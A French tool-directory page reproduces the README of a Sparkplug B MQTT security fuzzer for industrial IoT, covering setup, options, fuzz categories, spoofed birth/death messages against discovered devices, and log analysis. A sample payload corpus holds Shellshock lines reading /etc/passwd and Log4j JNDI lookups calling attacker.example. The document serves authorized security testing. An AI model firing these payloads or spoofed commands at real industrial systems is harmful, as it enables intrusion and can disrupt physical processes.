Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
sparkplugFuzzer — Fuzzer for the Sparkplug B IIoT protocol | Kitploit
Outils/GitHubGitHub/bishopfox/sparkplugfuzzer
Dynamic Analysis (Sandboxing)IoT SecurityVulnerability AnalysisSCADA/ICS SecurityFuzzingNetwork SecurityPenetration TestingAuthentication
GitHubbishopfox/sparkplugfuzzer

sparkplugFuzzer

Fuzzer for the Sparkplug B IIoT protocol

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Sparkplug B MQTT Security Fuzzer

Un outil complet d'évaluation de la sécurité pour tester les implémentations du protocole Sparkplug B MQTT. Le fuzzer teste systématiquement tous les champs du protocole pour les 9 types de messages, découvre les dispositifs actifs sur le réseau et produit des journaux détaillés pour analyse.

Utilisation responsable

Cet outil envoie des messages MQTT malformés, d'injection et violant le protocole à un courtier cible. Exécutez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test. Les courtiers Sparkplug B se trouvent généralement dans des environnements OT/ICS où des charges utiles inattendues peuvent perturber des processus physiques — considérez chaque cible comme adjacente à la production sauf preuve du contraire.

Si vous découvrez une vulnérabilité dans une implémentation Sparkplug B à l'aide de cet outil, veuillez suivre une divulgation coordonnée avec le fournisseur concerné. Pour signaler un problème de sécurité dans cet outil lui-même, consultez SECURITY.md.

Table des matières

  • Aperçu
  • Prérequis
  • Installation
  • Démarrage rapide
  • Utilisation
    • Options en ligne de commande
    • Catégories de fuzz
    • Exemples
  • Fonctionnement
    • Flux d'exécution
    • Découverte réseau
    • Évaluation de l'authentification
    • Fuzzing ciblé
  • Exécution des tests
  • Analyse des sorties et journaux
    • Format du journal
    • Analyse des résultats
  • Couverture du protocole
    • Types de messages
    • Types de données
    • Couverture des champs
  • Architecture

Aperçu

La spécification Sparkplug B définit un espace de noms de sujets et un format de charge utile basés sur MQTT et Google Protocol Buffers pour les environnements IoT industriels (IIoT). Ce fuzzer évalue la sécurité et la robustesse des implémentations Sparkplug B en :

  • Testant les 19 types de données métriques avec des valeurs limites et des conditions de débordement
  • Injectant des chaînes malveillantes (XSS, SQLi, chaînes de format, traversée de chemin, injection de commandes)
  • Créant des discordances de type entre les types de données déclarés et les champs de valeur protobuf réels
  • Violant l'ordre de la machine d'état du protocole (données avant naissance, doubles naissances, données après décès)
  • Corrompant les charges utiles protobuf sérialisées au niveau binaire
  • Usurpant les certificats de naissance/décès pour les dispositifs réseau découverts
  • Fuzzing des espaces de noms de sujets MQTT avec des caractères spéciaux, des variations de casse et des violations structurelles

Prérequis

  • Python 3.8+
  • Courtier MQTT — le système cible testé (par exemple, Mosquitto, HiveMQ, EMQX, ou tout courtier compatible Sparkplug B)
  • Autorisation — cet outil est destiné uniquement aux tests de sécurité autorisés

Installation

Sur les systèmes modernes Debian/Ubuntu/Kali (systèmes PEP-668), --setup ne peut pas utiliser pip install dans le Python système — utilisez d'abord un environnement virtuel ou pipx. Le chemin recommandé :```bash python3 -m venv .venv source .venv/bin/activate python3 sparkplug-fuzzer.py --setup

root@kitploit:~
Ou exécutez via `pipx run` si vous préférez ne pas gérer vous-même l'environnement virtuel. Sur les systèmes plus anciens sans application de PEP-668, la commande simple `python3 sparkplug-fuzzer.py --setup` fonctionne directement.

`--setup` effectuera :
1. Installer les dépendances pip (`paho-mqtt`, `protobuf`)
2. Cloner une version épinglée du dépôt [Eclipse Tahu](https://github.com/eclipse/tahu) (voir `TAHU_REF` dans le script)
3. Copier les modules d'aide `sparkplug_b.py` et `array_packer.py`
4. Compiler `sparkplug_b.proto` en liaisons Python (utilise `protoc` si disponible, sinon `grpcio-tools`)
5. Nettoyer le clone de Tahu

Après l'installation, votre répertoire devrait contenir :```
sparkplug-fuzzer.py     # The fuzzer
sparkplug_b.py          # Sparkplug B helper module (from Tahu)
array_packer.py         # Array packing helper (from Tahu)
sparkplug_b_pb2.py      # Generated protobuf bindings
requirements.txt        # Python dependencies
Configuration manuelle (si --setup ne fonctionne pas)```bash pip install -r requirements.txt git clone https://github.com/eclipse/tahu.git cp tahu/python/core/sparkplug_b.py . cp tahu/python/core/array_packer.py . protoc --python_out=. sparkplug_b.proto rm -rf tahu ```

Démarrage rapide```bash

python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer

root@kitploit:~
Cela va:
1. Connectez-vous au broker sur `localhost:1883`
2. Écoutez pendant 10 secondes pour découvrir les appareils Sparkplug existants
3. Établissez le fuzzer en tant que nœud/appareil Sparkplug
4. Exécutez toutes les 12 catégories de fuzz (~635+ cas de test)
5. Ciblez tous les appareils découverts avec des messages usurpés (spoofed)
6. Écrivez les résultats dans `sparkplug_fuzz.jsonl`

## Utilisation

### Options de ligne de commande```
python3 sparkplug-fuzzer.py [OPTIONS]

Catégories de Fuzzing

Exemples

Exécuter toutes les catégories avec authentification :```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v

root@kitploit:~
**Transmettez des identifiants sans les exposer dans `ps` :**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local

# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -

Connexion via TLS :```bash

System trust store, default port 8883

python3 sparkplug-fuzzer.py -H broker.example.com --tls -v

Custom CA bundle

python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v

root@kitploit:~
**Évaluation d'authentification passive + sonde d'écriture active :**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v

Exécuter uniquement les catégories liées à l'injection:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed

root@kitploit:~
**Découverte étendue avec rythme lent (minimiser la charge du broker) :**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5

Identité personnalisée du groupe/nœud et fichier journal :```bash python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv

root@kitploit:~
**Surveiller le trafic du courtier dans un terminal séparé :**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'

Configuration hors ligne avec un dépôt Tahu pré-cloné :```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box

transfer ~/tahu to the air-gapped target, then on the target:

python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu

root@kitploit:~
**Disposition des sorties par exécution :**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl

# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2

Corpus de chaînes personnalisées

Le STRING_FUZZ_VALUES intégré couvre les catégories d'injection classiques (chaînes vides / énormes, octets nuls, chaînes de format, XSS, SQLi, traversée de chemin, pollution de prototype). Les engagements réels nécessitent souvent des charges utiles de second ordre ciblant ce qui consomme les données du courtier en aval — historiens transmettant des noms de métriques via shell, hôtes SCADA basés sur Java alimentant des valeurs dans log4j, tableaux de bord rendant des noms de balises en HTML, etc.

Le drapeau --extra-string-payloads <FILE> ajoute un corpus supplémentaire aux éléments intégrés. Le format est une charge utile par ligne, UTF-8. Les lignes ne contenant que des espaces sont conservées (souvent intentionnelles dans le fuzz) ; les lignes entièrement vides sont supprimées. Le drapeau ajoute à la liste intégrée plutôt que de la remplacer, de sorte que la couverture existante est préservée.```bash

corpus.txt — Shellshock + Log4j JNDI prefixes

cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF

python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v

root@kitploit:~
Le fuzzer affiche `[+] Extra string payloads: loaded N from <path>` au démarrage, et chaque charge utile est émise à chaque endroit qui itère `STRING_FUZZ_VALUES` — principalement la catégorie `string`, mais aussi les cas de type chaîne du générateur de non-concordance de type.

Limites strictes : 10 Mo de taille de fichier, 10 000 charges utiles. Ajustez `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT` en haut du script si vous avez besoin de plus (et que vous avez le budget d'exécution correspondant).

## v0.2 release notes

- Drapeau `--output-dir` plus répertoire par défaut créé automatiquement `./sparkplug-runs/<UTC-ts>_<host>/` — chaque exécution atterrit dans son propre répertoire afin que les artefacts n'entrent pas en collision entre les exécutions.
- Drapeau `--tahu-path` pour `--setup` — pointe vers un clone local de `eclipse/tahu` pour les environnements de test isolés où le `git clone` sortant est bloqué. La source locale n'est jamais supprimée lors du nettoyage.
- Horodatages console + JSONL forcés en UTC avec suffixe explicite `Z` afin que la corrélation croisée avec les journaux du courtier soit sans calcul de fuseau horaire.
- Logger `paho.mqtt` limité à WARNING par défaut ; visible à INFO sous `-v`, DEBUG sous `-vv`. La télémétrie client par paquet ne noie plus le signal du fuzzer.
- Batterie de tests pytest sous `tests/` — 23 tests couvrant FuzzLogger, l'assistant de sujet, la résolution de chemin de sortie et la validation de `--tahu-path`. Voir [Exécution des tests](#running-the-tests).

## Exécution des tests

La batterie de tests couvre la surface indépendante du réseau (exactitude du logger, constructeur de sujet, résolution de chemin de sortie et analyse de `--tahu-path`) et s'exécute sans courtier, paho-mqtt ou protobuf installé.```bash
pip install -r requirements-dev.txt
pytest tests/

Expected: 23 passed. Les chemins dépendant du réseau (PayloadBuilder protobuf, fuzz publishers, MQTT lifecycle) sont délibérément reportés à une future couche de tests d'intégration avec un courtier conteneurisé.

Comment ça fonctionne

Flux d'exécution```

  1. CONNECT Connect to MQTT broker with NDEATH as last-will-and-testament Subscribe to spBv1.0/# and STATE/# for discovery |
  2. DISCOVER Passively listen for Sparkplug traffic (configurable duration) Build map of groups, nodes, devices, and their metric definitions |
  3. ESTABLISH Publish fuzzer's own NBIRTH + DBIRTH to register as a valid node |
  4. FUZZ Run selected categories sequentially Each category generator yields (topic, payload, description) tuples Every publish logged via centralized _publish() method Configurable delay between messages |
  5. TARGET For each discovered node/device: - Spoof NDEATH (kill node) - Spoof NBIRTH (impersonate node) - Spoof DDEATH/DBIRTH (kill/impersonate device) - Send DCMD/NCMD with fuzzed metric values |
  6. REPORT Print summary (total TX/RX counts by category) Close log file, disconnect
root@kitploit:~
### Découverte du réseau

Pendant la phase de découverte, le fuzzer s'abonne à `spBv1.0/#` et écoute tout le trafic Sparkplug. Le composant `DeviceTracker` analyse les messages observés pour construire une carte réseau en direct :

- Les messages **NBIRTH** révèlent les nœuds périphériques et leurs définitions de métriques (nom, alias, type de données)
- Les messages **DBIRTH** révèlent les dispositifs et leurs schémas de métriques
- Les messages **NDEATH/DDEATH** suivent l'état du cycle de vie des nœuds/dispositifs
- Les messages **STATE** révèlent les applications hôtes et leur statut en ligne/hors ligne

Cette carte est utilisée dans la phase de fuzzing ciblé pour envoyer des attaques contextuellement pertinentes contre des dispositifs réels avec leurs véritables schémas de métriques.

### Évaluation de l'authentification

Lorsque le fuzzer se connecte sans `-u/-P` (et que `MQTT_USERNAME`/`MQTT_PASSWORD` ne sont pas définis), il déduit une posture d'authentification du courtier uniquement à partir de la découverte passive. Cela produit un seul événement `AUTH_ASSESSMENT` dans le journal et un résumé imprimé :

| Signal | Ce que cela signifie | Comment c'est dérivé |
|---|---|---|
| `anon_connect_accepted` | Le courtier a accepté CONNECT sans identifiants | Le propre CONNECT du fuzzer a réussi |
| `anon_subscribe_accepted` | Le courtier transmet `spBv1.0/#` / `STATE/#` aux clients anonymes | Au moins un message RX est arrivé pendant la fenêtre d'écoute |
| `anon_publish_accepted` | Le courtier accepte PUBLISH de clients anonymes | Défini uniquement si `--probe-anon-write` est passé ; sonde QoS=1 + attente PUBACK |
| `unauth_endpoints` | Nœuds / dispositifs / applications hôtes observables sans authentification | Chaque entité dans la carte réseau découverte (l'authentification n'a jamais été produite) |

La sonde QoS=1 est optionnelle car elle passe du passif à l'actif. Avec QoS=0, le courtier ignore silencieusement les messages qu'il refuserait, donc confirmer l'acceptation d'écriture nécessite la lecture d'un PUBACK.

MQTT/Sparkplug n'ont pas d'authentification par point de terminaison — l'authentification est une préoccupation au niveau du courtier. Ainsi, « points de terminaison observables sans authentification » est rapporté comme une liste de *cibles accessibles à coût nul* plutôt que comme une propriété des points de terminaison eux-mêmes.

### Fuzzing ciblé

Après un fuzzing systématique, l'outil cible chaque dispositif découvert avec :

1. **Avis de décès falsifiés** — publie NDEATH/DDEATH pour tromper les abonnés en leur faisant croire que les dispositifs sont hors ligne
2. **Certificats de naissance falsifiés** — publie NBIRTH/DBIRTH pour usurper l'identité des nœuds/dispositifs découverts
3. **Injection de commandes** — envoie des messages NCMD/DCMD avec des valeurs limites pour chaque métrique connue, testant si la cible valide les commandes entrantes
4. **Commandes de renaissance** — envoie une commande NCMD `Node Control/Rebirth` pour déclencher la republication des naissances par les dispositifs

## Sortie et analyse des journaux

### Format du journal

Le fichier journal utilise le format JSON-lines (`.jsonl`) — un objet JSON par ligne, adapté à l'analyse avec `jq`, Python ou tout outil compatible JSON.

Les charges utiles de plus de 64 Kio ne sont pas intégrées en hexadécimal ; à la place, `payload_hex` contient `sha256:<digest>+len=<n>` afin que le journal reste limité pour les très grands cas de fuzzing. `payload_len` est toujours présent.

**Enregistrement TX** (message de fuzzing sortant) :```json
{
  "ts": "2026-04-10T15:30:00.123456Z",
  "dir": "TX",
  "case_id": "BOUNDARY-0042",
  "category": "boundary",
  "topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
  "payload_hex": "0800120a0a06...",
  "payload_len": 28,
  "payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
  "description": "Boundary Int32 = 2147483647 (int_value)"
}

RX record (message entrant du réseau):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }

root@kitploit:~
**Enregistrement d'événement** (événement système) :```json
{
  "ts": "2026-04-10T15:29:50.000000Z",
  "dir": "EVENT",
  "event": "DISCOVERY_COMPLETE",
  "details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}

Analyse des résultats

Comptage des cas par catégorie :```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn

root@kitploit:~
**Extraire tous les cas d'injection de chaîne:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl

Liste tous les appareils découverts :```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl

root@kitploit:~
**Trouvez les cas qui ont déclenché des déconnexions du broker:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl

Effectuer l'évaluation de l'authentification :```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl

root@kitploit:~
**Lister les points d'accès accessibles sans authentification :**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl

Obtenir le nombre de TX au fil du temps (pour l'analyse du débit) :```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c

root@kitploit:~
**Exporter tous les sujets qui ont été publiés vers :**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u

Analyser avec Python:```python import json

with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]

tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]

print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")

Find any decode errors in received messages (possible crash indicators)

errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")

root@kitploit:~
## Couverture des protocoles

### Types de messages

Les 9 types de messages Sparkplug B sont testés :

| Type de message | Modèle de sujet | Description | Utilisation du fuzzer |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | Certificat de naissance du nœud | Établit la présence du fuzzer ; usurpé pour les nœuds découverts ; tests d'ordre |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | Notification de mort du nœud | MQTT last-will ; usurpé pour les nœuds découverts ; tests d'ordre |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | Certificat de naissance du dispositif | Établit le dispositif fuzzer ; usurpé pour les dispositifs découverts ; tests d'ordre |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | Notification de mort du dispositif | Usurpé pour les dispositifs découverts ; tests d'ordre ; tests d'orphelins |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | Mise à jour des données du nœud | Valeurs limites ; numéros de séquence ; tests d'ordre |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | Mise à jour des données du dispositif | Véhicule principal pour la plupart des catégories de fuzz |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | Commande du nœud | Fuzzing ciblé (commandes de renaissance) ; tests d'orphelins |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | Commande du dispositif | Fuzzing ciblé sur les métriques des dispositifs découverts ; tests d'orphelins |
| STATE | `STATE/{host_id}` | État de l'application hôte (JSON) | Injection JSON malformé |

### Types de données

Les 19 types de données métriques Sparkplug B sont testés avec des valeurs limites spécifiques au type :

| Code | Type | Champ Protobuf | Valeurs limites testées |
|------|------|---------------|------------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128 (dépassement), -129 (sous-dépassement) |
| 2 | Int16 | int_value | 0, -32768, 32767, dépassement/sous-dépassement |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, dépassement/sous-dépassement |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, dépassement |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, max, min, inf, -inf, NaN |
| 11 | Boolean | boolean_value | Vrai, Faux ; également testé avec des entiers bruts (0, 1, 2, 255) |
| 12 | String | string_value | Vide, long (jusqu'à 64 Ko), charges utiles d'injection |
| 13 | DateTime | long_value | Epoch, max, futur/passé lointain |
| 14 | Text | string_value | Mêmes charges utiles d'injection que String |
| 15 | UUID | string_value | Vide, valide, format invalide, injections |
| 16 | DataSet | dataset_value | Violations structurelles via la catégorie dataset |
| 17 | Bytes | bytes_value | Vide, octets nuls, aléatoire, grand |
| 18 | File | bytes_value | Vide, octets magiques, grand |
| 19 | Template | template_value | Références indéfinies, modèles orphelins |

### Couverture des champs

Le fuzzer couvre 87+ chemins de champs protobuf uniques, notamment :

- **Champs racine de la charge utile** : timestamp, seq, uuid, body, metrics
- **Champs de métriques** : name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties, et toutes les variantes oneof de valeur
- **Champs MetaData** : is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue** : keys, values, type, is_null, propertyset_value récursif, propertysets_value
- **DataSet** : num_of_columns, columns, types, rows, elements, toutes les variantes DataSetValue
- **Template** : version, template_ref, is_definition, métriques imbriquées, paramètres

## Architecture

Le fuzzer est un fichier Python unique organisé en ces composants :```
sparkplug-fuzzer.py
    |
    +-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
    |       Type definitions and fuzz value tables
    |
    +-- FuzzLogger
    |       JSON-lines file logging + console output
    |       Protobuf payload decoding
    |
    +-- DeviceTracker
    |       Passive network discovery
    |       Tracks groups, nodes, devices, metrics
    |
    +-- PayloadBuilder
    |       Valid payload construction (sparkplug_b helpers)
    |       Raw payload construction (sparkplug_b_pb2 direct)
    |       Binary corruption (truncate, flip, append)
    |
    +-- 12 Fuzz Generators
    |       Each is a Python generator yielding (topic, bytes, desc)
    |       Covers boundary, string, type, seq, timestamp, alias,
    |       orphan, ordering, recursive, dataset, malformed, topic
    |
    +-- SparkplugFuzzer
    |       Orchestration: connect, discover, fuzz, target, report
    |       Centralized publish with logging
    |       Auto-reconnect on disconnect
    |
    +-- CLI (argparse) + main()
            Argument parsing and entry point

La construction de la charge utile à deux niveaux est une décision de conception clé :

  • Haut niveau (PayloadBuilder.node_birth(), etc.) utilise les fonctions d'aide sparkplug_b pour construire des charges utiles valides et bien formées. Utilisé pour établir la présence et l'usurpation ciblée.
  • Bas niveau (PayloadBuilder.raw_payload(), corrupt_bytes()) manipule directement les objets protobuf sparkplug_b_pb2 ou les octets bruts, contournant la validation. Utilisé pour les charges utiles intentionnellement malformées qui testent la gestion des erreurs et les cas limites de l'analyseur.

Licence

Ce projet est sous licence MIT — voir LICENSE pour le texte intégral.

Tiers

sparkplug-fuzzer.py --setup récupère les composants suivants de Eclipse Tahu au moment de l'installation et les copie dans le répertoire de travail :

  • sparkplug_b.py — Module d'aide Sparkplug B
  • array_packer.py — Aide au compactage de tableaux
  • sparkplug_b.proto — Définition de tampon de protocole (utilisé pour générer sparkplug_b_pb2.py)

Eclipse Tahu est distribué sous la Licence Apache, Version 2.0. Aucun des fichiers source de Tahu n'est redistribué dans ce dépôt. Voir NOTICE pour l'attribution complète.

Télécharger l’outil
OptionDefaultDescription
-H, --hostlocalhostNom d'hôte ou IP du courtier MQTT
-p, --port1883 (or 8883 with --tls)Port du courtier MQTT
-u, --usernameNoneNom d'utilisateur MQTT (lit aussi la variable d'environnement MQTT_USERNAME)
-P, --passwordNoneMot de passe MQTT (lit aussi la variable d'environnement MQTT_PASSWORD ; utiliser - pour lire depuis stdin sans écho)
--tlsoffConnexion via TLS ; le port par défaut devient 8883 si -p n'est pas défini
--cafileNoneBundle CA pour la vérification du certificat serveur TLS
--insecureoffIgnorer la vérification du nom d'hôte/certificat TLS (test uniquement)
-g, --groupSparkplug B DevicesID du groupe Sparkplug sous lequel le fuzzer s'enregistre
-n, --nodeFuzzNodeID du nœud périphérique Sparkplug pour le fuzzer
-d, --deviceFuzzDeviceID du périphérique Sparkplug pour le fuzzer
-c, --categoriesallListe séparée par des espaces des catégories de fuzzing à exécuter
--discovery-time10Secondes d'écoute passive pour la découverte réseau
--delay0.1Délai en secondes entre les messages de fuzzing
--probe-anon-writeoffPendant la découverte, envoyer une publication QoS=1 pour confirmer si le courtier accepte les PUBLISH non authentifiés
-l, --logsparkplug_fuzz.jsonlNom du fichier journal de sortie (les chemins relatifs sont placés dans --output-dir ; les chemins absolus sont respectés tels quels)
--output-dir./sparkplug-runs/<UTC-ts>_<host>/Répertoire de sortie par exécution. Créé s'il n'existe pas.
-v, --verbose0Augmenter la verbosité de la console (-v = info, -vv = debug). -vv affiche également les sauts du générateur de fuzzing, et le logger paho.mqtt passe à INFO/DEBUG avec la verbosité.
--setup—Installer toutes les dépendances et quitter
--tahu-path—Chemin vers un clone local de eclipse/tahu (ou de son répertoire python/core). Utilisé par --setup dans des environnements déconnectés au lieu de git clone.
--extra-string-payloads—Chemin vers un fichier de charges utiles supplémentaires d'injection de chaînes (une par ligne, UTF-8). Ajouté aux STRING_FUZZ_VALUES intégrées ; ne les remplace pas. Max 10 Mo / 10 000 charges utiles. Voir Corpus de chaînes personnalisées.
CategoryDescriptionApprox. Cases
boundaryMin/max/débordement pour les 19 types de données numériques, is_null avec valeurs, combinaisons de drapeaux~200
stringCharges utiles d'injection (XSS, SQLi, chaînes de format, traversée de chemin, injection de commandes, octets nuls) à travers les champs String, Text, UUID, MetaData et les messages STATE~100
type_mismatchType de données déclaré vs mauvais champ de valeur protobuf, codes de type de données invalides, champs oneof multiples~150
sequenceSauts de séquence, doublons, inversions, débordement, incohérence de bdSeq entre NBIRTH/NDEATH~20
timestampZéro, uint64 max, futur/passé lointain, incohérence entre horodatage de métrique et de charge utile, extrêmes DateTime~15
aliasAlias en double pour différentes métriques, valeurs d'alias extrêmes, alias non définis dans les messages de données~15
orphanDonnées/commandes ciblant des périphériques, nœuds, groupes inexistants ; références de modèle non définies~20
orderingViolations d'état du protocole : données avant naissance, naissances doubles, données après décès, ordre de naissance incorrect~15
recursiveChaînes PropertySet imbriquées (profondeur 1-100), discordances de longueur clé/valeur, variations PropertySetList~15
datasetDiscordances de nombre de colonnes, discordances d'éléments de ligne, violations de type, jeux de données vides/énormes, caractères spéciaux dans les noms de colonnes~25
malformedCorruption binaire protobuf : troncature, inversions de bits, octets aléatoires, varints trop longs, classes de message erronées~30
topicVariations de casse, mauvaises versions, barres obliques supplémentaires/manquantes, caractères spéciaux, jokers dans les chaînes de sujet~30